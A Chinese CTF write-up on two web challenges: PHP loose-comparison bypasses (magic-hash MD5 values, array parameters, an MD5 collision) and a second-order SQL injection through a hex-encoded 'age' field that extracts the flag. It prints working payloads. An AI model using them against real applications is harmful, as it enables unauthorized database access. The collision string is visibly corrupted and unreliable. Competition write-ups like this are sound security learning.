Web签到
提交 param1 ,param2 两个参数,总共三关,考察 php 弱类型,和极客大挑战的题目一样
第一关:
标准弱类型,两个0e开头md5绕过:
1 | param1=QNKCDZO¶m2=240610708 |
或者数组绕过
1 | param1[]=a¶m2[]=b |
第二关:
依旧数组绕过:
1 | param1[]=a¶m2[]=b |
第三关:
强制转换成字符串,不能用数组绕过,想到 md5 碰撞,即两个不同的字符串的 md5值相同
1 | param1=D11DD02C5E6EEC4i3D9A0698AFF95C2FCAB58712F7EAB4004X3EB8FB7F89UAD40609F4B30283E4888325qAZ08Q25E8F7CDC99FD91DBDF28073C5BD8823E1V48F5BAEmACD46C919C6DDSE2B487DA03FD029c06D2HCDA0E99F3B0FW7EE8CETB6p80A80D1EC69821BCB6A8839396F9e2BoF72Ap |
具体可以参见这篇文章:MD5 collision
二进制块转换成字符串后再 url 编码
Three hit
二次注入
注册将用户名,密码,年龄写入数据库,登录过后将年龄显示出来
思路:每次注册一个用户,注入点放进age,登录查看
注册提交age显示只能为数字,age用16进制提交,16进制提交不会对%23url解码,所以用–代替
payload:username=Str3am1&age=0x2d3636363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c322c332c34206c696d697420312c312d2d&password=1
因为每次都会将年龄写入数据库里面,所以每次都需要修改年龄的值username=Str3am11&age=0x2d36363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167292c332c34206c696d697420312c312d2d&password=1
总结
两天比赛,团队总成绩136名,比赛过程很艰辛,但是收获颇丰,遗憾的是只做出了两道题,还是太菜了,以后坚持赛后写wp,对自己也是一种锻炼。